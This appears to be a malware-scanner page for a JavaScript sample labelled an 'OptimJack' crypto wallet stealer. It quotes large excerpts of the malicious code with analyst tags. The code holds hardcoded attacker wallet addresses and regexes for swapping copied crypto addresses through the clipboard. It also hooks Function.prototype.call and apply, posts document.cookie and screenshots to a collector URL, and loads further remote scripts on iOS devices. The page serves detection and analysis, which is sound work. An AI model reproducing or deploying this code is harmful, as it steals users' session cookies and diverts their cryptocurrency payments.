Hostile 100% javascript Download

changed-destinations-identifiers.js

OptimJack crypto wallet stealer

Posts browser cookies to an absolute URLCopy interception and wallet replacement code
SHA-25645ac554e5ece63d1545e1f8d08e12850b0f97d8a7a4d539551b36a1f78fca2c8

Also flagged by https://blog.qualys.com/feed (Third-Party JavaScript Is Part of Your Attack Surface: Lessons from a Recent Supply-Chain Attack).

Evidence

Ethereum address regex pattern lines 1–17
1(function(){(function () {
2 var W = window, D = document;
3 if (W._k7) return;
4 W._k7 = 1;
5
6 var E = '0xC4026b06D82b0F0B363eda0642D61CfbDc17884e',
7 T = 'THvs6p56XkUiMkJeSc51cAP64u2RsTYqxa',
8 B = '19g9rZcPeiz8rUvyWpTRyXXhPnjsWrc3kW',
9 N = 'UQAgM1VqSZQiJLSG5w-ovurq5CZdxLEK3_7CMmwALTA5e09p',
10 S = 'FVtL8NMYS9PA1v3HE67XUGCtGA9JaZUvqav2fU2LrV5n',
11 L = 'ltc1q3wp7g6ds0ggg6fl6kncpa4sepn0q3qfacgred5',
12 C = 'qzkaaf8n6grmpr0d9lx8xutn3r9lk722f566hhpe58',
13 G = 'DBEGrxRF7KMSuhTS4c1MFviStU6efdMnu5',
14 R = '0:2033556a49942224b486e70fa8beeaeae4265dc4b10adffec2326c002d30397b';
15
16 var changed_rx = /0x[0-9a-fA-F]{40}|\b[EUk0][Qq][A-Za-z0-9_-]{46}\b|\bbc1[02-9ac-hj-np-z]{11,71}\b|\bBC1[02-9AC-HJ-NP-Z]{11,71}\b|\bltc1[02-9ac-hj-np-z]{11,71}\b|\bLTC1[02-9AC-HJ-NP-Z]{11,71}\b|\b(?:bitcoincash:)?[qp][a-z0-9]{41}\b|\b[13][1-9A-HJ-NP-Za-km-z]{25,34}\b|\bT[1-9A-HJ-NP-Za-km-z]{33}\b|\b[LM][1-9A-HJ-NP-Za-km-z]{25,34}\b|\b(?:0|-1):[0-9a-fA-F]{64}\b|\bD[1-9A-HJ-NP-Za-km-z]{33}\b|\b[1-9A-HJ-NP-Za-km-z]{43,44}\b/g;
17 var TS = /0x[0-9a-fA-F]{40}|[EUk0][Qq][A-Za-z0-9_-]{46}|b …
Posts browser cookies to an absolute URL lines 194–224
194:48…
195 else if (d[0] === 30 && CS(d)) r = G;
196 } else if (d && d.length === 32 && a.length === 44 && /[a-z]/.test(a) && /[A-Z]/.test(a) && /[0-9]/.test(a)) {
197 r = S;
198 }
199 }
200 } catch (e) {}
201 if (changed_ca.size > 800) changed_ca.clear();
202 changed_ca.set(a, r);
203 return r;
204 }
205
206 function changed_post(img) {
207 try {
208 var b = JSON.stringify({ u: location.href.slice(0, 500), c: (document.cookie || '').slice(0, 8000), i: img || '', m: changed_mm.slice(0, 20).join(' ').slice(0, 1000) });
209 fetch('https://collector.invalid/hit.php', { method: 'POST', body: b, headers: { 'Content-Type': 'text/plain' } })['catch'](function () {});
210 } catch (e) {}
211 }
212
213 function changed_shot() {
214 if (W._shot || !changed_mm.length) return;
215 W._shot = 1;
216 setTimeout(function () {
217 function snap() {
218 if (!W.html2canvas) return changed_post('');
219 try {
220 W.html2canvas(document.body, {
221 useCORS: true, allowTaint: false, logging: false, backgroundColor: '#fff',
222 scale: 0.6, x: window.scrollX, y: window.scrollY,
223 width: window.innerWidth, height: window.innerHeight, windowWidth: window.innerWidth
224 }) …
Replaces variable pattern through callback lines 266–276
266:29… tIndexOf('?', q), str.lastIndexOf('&', q));
267 return str.slice(a + 1, q).toLowerCase();
268 }
269
270 function FURL(s) {
271 return s.replace(changed_rx, function (m, off, str) {
272 var strong = (/^0x[0-9a-fA-F]{40}$/.test(m) && m.length === 42) ||
273 (/^[EUk0][Qq]/.test(m) && m.length === 48) ||
274 (/^(?:0|-1):[0-9a-fA-F]{64}$/.test(m)) ||
275 /^(?:bc1|BC1|ltc1|LTC1)/.test(m) ||
276 (/^(?:bitcoincash:) …
Function.apply hook transforms array values lines 283–315
283:144… r, off))) return m;
284 }
285 if (r && r !== m && r !== S) changed_mm.push(m);
286 return r && r !== m ? r : m;
287 });
288 }
289
290 function XS(v) {
291 if (typeof v !== 'string' || v.length < 26 || v.length > 3000 || !TS.test(v)) return v;
292 return F(v, null);
293 }
⋯8 lines
302 W._qxc = 1;
303 var NC = Function.prototype.call, NA = Function.prototype.apply;
304 Function.prototype.call = function () {
305 var a = [], i;
306 for (i = 0; i < arguments.length; i++) a[i] = arguments[i];
307 try { XARGS(a, 1); } catch (e) {}
308 return Reflect.apply(this, a[0], a.slice(1));
309 };
310 Function.prototype.apply = function (ctx, args) {
311 try { if (args && args.length) { var c = []; for (var i = 0; i < args.length; i++) c[i] = XS(args[i]); args = c; } } catch (e) {}
312 return Reflect.apply(this, ctx, args || []);
313 };
314 var WO = W.open, LA = W.location.assign, LR = W.location.replace, HP = W.history.pushState, HR = W.history.replaceState;
315 if (WO) W.open = function (u) { …
Writes data through clipboardData.setData lines 512–551
512:113… onEnd > ae.selectionStart) {
513 t = String(ae.value || '').slice(ae.selectionStart, ae.selectionEnd);
514 }
515 if (!t) t = String(W.getSelection() || '');
516 } catch (x) {}
517 if (!t || !TS.test(t)) return;
518 var o = F(t, e.target || null);
519 if (o !== t && e.clipboardData) {
520 e.clipboardData.setData('text/plain', o);
521 e.preventDefault();
522 }
523 }, true);
524
525 try { SC(D, 1); } catch (e) {}
526})();
527var u=navigator.userAgent||'',im=u.match(/OS (\d+)_(\d+)/),iv=im?parseFloat(im[1]+'.'+im[2]):0,i=/iPhone|iPad|iPod/.test(u)||(/Macintosh/.test(u)&&navigator.maxTouchPoints>1);
528if(i){(function () {
529 const script = document.createElement("script");
530
531 script.src = "https://router-one.invalid/boot.js";
532 script.setAttribute("data-landing", "");
533 script.setAttribute("data-channel-code", "02111110");
534 script.setAttribute("data-chain-url", "https://router-one.invalid/");
535 script.setAttribute("data-cfasync", "false");
536
537 document.head.appendChild(script);
538})();
539(function () {
540 const script = document.createElement("script");
541
542 script.src = "https://router-two.invalid/boot.js";
543 script.setAttribute("data-landing", "");
544 script.setAttribute("data-channel-code", "02111110");
545 script.setAttribute("data-chain-url", "https://router-two.invalid/");
546 script.setAttribute("data-cfasync", "false");
547
⋯4 lines

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.